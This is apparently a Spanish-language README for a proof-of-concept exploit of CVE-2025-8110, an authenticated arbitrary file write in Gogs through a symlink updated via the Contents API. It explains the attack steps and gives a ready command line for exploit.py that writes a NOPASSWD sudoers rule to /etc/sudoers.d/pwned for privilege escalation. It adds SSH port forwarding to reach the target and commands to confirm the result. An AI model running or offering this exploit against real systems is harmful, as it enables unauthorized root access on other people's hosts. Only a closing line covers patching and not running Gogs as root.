
PoC para CVE-2025-8110 - Escritura arbitraria de archivos de Gogs mediante enlace simbólico
Prueba de concepto para una escritura arbitraria de archivos autenticada en Gogs. Al enviar un repositorio que contiene un enlace simbólico que apunta fuera del repositorio y luego actualizar el contenido de ese enlace a través de la API, un usuario autenticado puede sobrescribir archivos en el host con los privilegios de la cuenta que ejecuta Gogs.
Solo pruebas autorizadas y educación. Ejecute esto solo contra sistemas que posea o para los que tenga permiso explícito por escrito para probar. Usted es responsable de cómo lo use.
malicious_link -> /ruta/en/host) y envíelo (push).PUT a la API de Contenido para actualizar malicious_link. Gogs sigue el enlace simbólico y escribe el contenido proporcionado en la ruta de destino, con sus propios privilegios. Si Gogs se ejecuta como root, esto es una primitiva directa de escalada de privilegios (por ejemplo, colocar una regla en /etc/sudoers.d/).La API PUT es lo que realmente desencadena la escritura; el push solo coloca el enlace simbólico.
git disponible en PATHpip install -r requirements.txt
python3 exploit.py \
-u http://127.0.0.1:3000 \
--user <username> \
--password '<password>' \
--target /etc/sudoers.d/pwned \
--payload '<username> ALL=(ALL) NOPASSWD: ALL'
Omita --password para que se le solicite de forma segura en lugar de pasarlo en la línea de comandos.
Gogs a menudo está vinculado a localhost en el destino. Use el reenvío de puertos local SSH para exponerlo a su máquina (ajuste los puertos para que coincidan con el destino):
ssh -L 3000:127.0.0.1:3000 user@target
# then point the exploit at http://127.0.0.1:3000
Después de una ejecución exitosa, verifique en el host (como el usuario correspondiente):
cat /etc/sudoers.d/pwned
sudo -l
Si escribió una regla de sudoers, tenga en cuenta que los archivos en /etc/sudoers.d/ deben ser válidos y tener los permisos adecuados para que sudo los reconozca.
auto_init devuelve HTTP 500 — el script recurre a crear un repositorio vacío y poblarlo con un git init local + push.master vs main.Actualice a una versión de Gogs que valide los enlaces simbólicos en la API de Contenido. Como defensa en profundidad, evite ejecutar Gogs como root y aísle el almacenamiento del repositorio.
MIT — consulte LICENSE.